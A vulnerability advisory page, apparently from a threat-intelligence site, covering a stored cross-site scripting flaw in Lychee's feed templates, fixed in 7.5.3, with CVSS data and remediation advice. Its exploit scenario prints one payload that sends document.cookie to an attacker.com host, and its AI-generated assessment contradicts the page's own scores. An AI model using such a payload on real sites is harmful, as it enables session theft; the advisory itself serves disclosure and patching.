Which versions of Lychee are affected by EUVD-2026-16417?

Organizations using Lychee should be aware of moderate risk from CVE-2026-33738, a cross-site scripting vulnerability rated CVSS 4.8.. A patch is available.

How to fix or mitigate EUVD-2026-16417?

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. Verify Content-Security-Policy and output encoding.

Lychee EUVD-2026-16417

Q: What is the CVSS score of EUVD-2026-16417?

EUVD-2026-16417 has a CVSS 4.0 base score of 4.8 (Medium). CVSS vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X. EPSS exploitation probability: 0.1%.

| CVE-2026-33738 MEDIUM

Cross-site Scripting (XSS) (CWE-79)

2026-03-26 GitHub_M

XSS Lychee

4.8

CVSS 4.0 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

4.8 MEDIUM

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:L/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

Scope

Lifecycle Timeline

Patch available

Apr 16, 2026 - 05:29 EUVD

7.5.3

EUVD ID Assigned

Mar 26, 2026 - 20:31 euvd

EUVD-2026-16417

Analysis Generated

Mar 26, 2026 - 20:31 vuln.today

CVE Published

Mar 26, 2026 - 20:25 nvd

MEDIUM 4.8

DescriptionGitHub Advisory

Lychee is a free, open-source photo-management tool. Prior to version 7.5.3, the photo description field is stored without HTML sanitization and rendered using {!! $item->summary !!} (Blade unescaped output) in the RSS, Atom, and JSON feed templates. The /feed endpoint is publicly accessible without authentication, allowing any RSS reader to execute attacker-controlled JavaScript. Version 7.5.3 fixes the issue.

AnalysisAI

{!! !!}) in feed templates, enabling malicious descriptions to inject executable scripts that execute in the context of any RSS reader or client consuming the feed.

Unlock full vulnerability intelligence

Risk assessment & exploitation conditions
Attack chain visualization
Remediation with exact patch versions
Threat intelligence from 22 sources
Personal watchlist & email alerts

Continue with Google Continue with GitHub

Free forever · No credit card required

Vulnerability AssessmentAI

Risk Assessment	This vulnerability presents moderate-to-high real-world risk despite missing CVSS and EPSS scores. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An attacker with the ability to add or edit a photo description (either through a legitimate account or by social engineering another user) injects malicious JavaScript payload such as <img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)"> into the description field. When a user subscribes to the Lychee feed in an RSS reader or when the feed is crawled by aggregators, the unsanitized payload is rendered in the feed XML/JSON, causing the reader or browser to execute the JavaScript. …
Remediation	Upgrade Lychee to version 7.5.3 or later immediately (see vendor release at https://github.com/LycheeOrg/Lychee/releases/tag/v7.5.3). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. …

Threat intelligence, references, and detailed analysis are available after sign-in.

EUVD-2026-16417 vulnerability details – vuln.today

Back